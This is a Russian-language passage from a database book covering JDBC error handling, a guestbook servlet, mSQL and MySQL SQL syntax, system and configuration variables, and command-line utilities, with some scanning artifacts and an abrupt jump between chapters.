    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

